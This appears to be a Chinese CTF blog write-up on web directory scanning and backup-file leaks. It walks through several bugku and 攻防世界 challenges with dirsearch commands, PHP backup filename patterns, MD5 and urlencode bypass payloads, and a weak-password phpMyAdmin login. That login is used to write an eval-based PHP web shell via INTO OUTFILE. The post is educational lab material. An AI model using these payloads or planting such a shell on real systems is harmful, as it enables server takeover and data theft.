CTF-WEB:后台扫描与备份泄露

后台扫描

在拿到一个网页之后除了打开 F12 和抓包以外,还可以考虑扫一下后台,所谓扫描后台就是扫描站点的目录下还有哪些页面可以访问,看一下有没有类似管理员页面、备份文件泄露和其他文件等。

御剑后台扫描

御剑后台扫描是 T00LS 大牛的作品,可以用于扫描后台,同时这也为程序开发人员增加了难度,需要对的后台目录结构进行优化。御剑的用法很简单,在左下角添加需要扫描后台的域名,然后在右上角选择使用的字典,然后设置合适的线程数和扫描速度等就可以开始扫描了。扫描结果会显示在中间,点击访问即可。

工具自带扫描的字典,同时我们也可以继续添加内容进去。

dirsearch

dirsearch 是一个简单的命令行工具,旨在暴力破解网站中的目录和文件。dirsearch 需要先安装 python3 的编译环境,然后在命令行 cd 进目录下。扫目录的命令为:

python3 dirsearch.py -u <URL> -e <EXTENSION>

有时候扫出一些御剑扫不出的文件,下载地址

备份文件泄露

题目经常需要进行代码审计,不过有时候不会把源码直接给我们,而是要我们自己发现。备份文件就是常见的源码泄露的方式,实践中往往是开发者的疏忽而忘记删除备份文件,从而导致服务器中残留源码。我们可以通过访问这些备份文件来审计代码,一般情况下可以用后台扫描工具扫描。例如 index.php,PHP 文件常见的备份文件格式有:

index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old

这里稍微解释下什么是 “phps” 后缀文件,phps 文件就是 php 的源代码文件。通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到php文件的内容,所以需要用 phps 文件代替。除了 PHP 备份文件,有的时候也会遇到整个站点的源码被打包成压缩文件,被放置在网站的根目录下。

例题:bugku-细心

打开网页,看到一个很精致的 404,这显然不是真正的 404 页面。

尝试 F12、抓包等手段无果后,使用御剑扫描后台,发现一个 robots.txt 文件。


该文件指示了这个页面还有个 resusl.php 文件可以访问,访问到达另一个页面。此处得到关键提示,需要我们传入参数 x,当这个参数 x 和变量 password 相等时将发生很多事情。

根据提示“想办法变成 admin”,这个应该就是 x 的值了,传过去得到 flag。

例题:bugku-Trim 的日记本

打开网页看到一个登陆页面,注意到提示说 mysql 已经炸了,接下来的思路就不往 sql 注入去想。

F12 和抓包无果后,用御剑扫描后台,成功发现 3 个可访问的网页,在其中一个网页中得到了 flag。

例题:bugku-备份是个好习惯

打开网页,显示了一段不知道有什么意义的字符串。

根据提示,应该是有个 PHP 备份文件,使用御剑扫描出一个 index.php.bak 文件。

访问该文件,成功获得备份文件中的源码。想要 flag 显示的条件是变量 key1 和 key2 的值不相同,且它们的 md5 加密结果一样,这里无论是传数组还是使用 md5 碰撞都可以。

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

注意 str_replace 函数会把传入的变量中的 “key” 替换为空,也就是说传入的变量名为 “key1” 时,经过函数替换后变量名会变成 “1”。我们可以让变量名为 “kkeyey” 或者 “kekeyy”,这样替换之后就能够有 “key” 变量了。

/index.php?kkeyey1[]=1&kekeyy2[]=0
/index.php?kkeyey1=QNKCDZO&kekeyy2=s878926199a

例题:bugku-bugku 导航

打开网页,这是个 bugku 导航页面,在尝试 F12、抓包和御剑扫描后台后没有什么发现。

根据提示 flag 在根目录下,所以还是考虑扫描后台,这里可以选择 dirsearch 来扫描。

python ./dirsearch.py -u 123.206.87.240:9006 -e php

扫描结果如下,发现了很多敏感文件,都可以打开看看。

我们关注一个 “1.zip” 压缩包,访问后可以把它下载下来。打开压缩包后发现有个 “flag-asd.txt” 文件,打开里面什么都没有,不过在 url 上面访问这个文件就可以得到 flag。

例题:攻防世界-PHP2

打开网页,F12、抓包都没有发现什么有用的信息,御剑扫出来 index.php,不过点进去还是这个页面。


这个时候可以枚举备份文件名,看看是否有这个页面的备份文件,尝试到 “index.phps” 时成功看到源码。

<?php
if("admin"===$_GET[id]) {
      echo("<p>not allowed!</p>");
      exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
      echo "<p>Access granted!</p>";
      echo "<p>Key: xxxxxxx </p>";
}
?>

这里就是我们很熟悉的 urlencode 二次编码绕过,根据要求构造 payload 传入得到 flag。

?id=%2561dmin 

例题:攻防世界-Web_php_include

打开网页,看到一段 PHP 代码如下,观察到这段代码有 include() 函数,因此这题要考虑文件包含漏洞。strstr() 函数查找字符串首次出现的位置,然后返回字符串剩余部分。注意到这段代码使用了 strstr() 函数将传入参数中的 “php://” 全部删了,也就是说此处无法直接使用 PHP 伪协议来完成。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

除了使用 data 伪协议以外,还可以使用后台扫描的方式来做。首先用御剑扫一下后台,会扫出一个 phpmyadmin 页面,这个页面可以连接到数据库。

打开该网页,测试使用弱口令 “root” ,密码直接不填登陆成功。


接下来在 SQL 页面输入下面的 SQL 语句查看 “secure_file_priv” 的值是否为空。运行出来这个值为空,因此我们可以往数据库中写数据。

SHOW VARIABLES LIKE "secure_file_priv"


linux 默认 tmp 是可写入目录的,试试写入一句话木马。

SELECT "<?php eval(@$_POST['attack']); ?>"
INTO OUTFILE '/tmp/test.php'

使用蚁剑连接,连接成功后打开 “fl4gisisish3r3.php” 就能看到 flag。

posted @ 2020-08-22 08:58  乌漆WhiteMoon  阅读(8076)  评论(0编辑  收藏  举报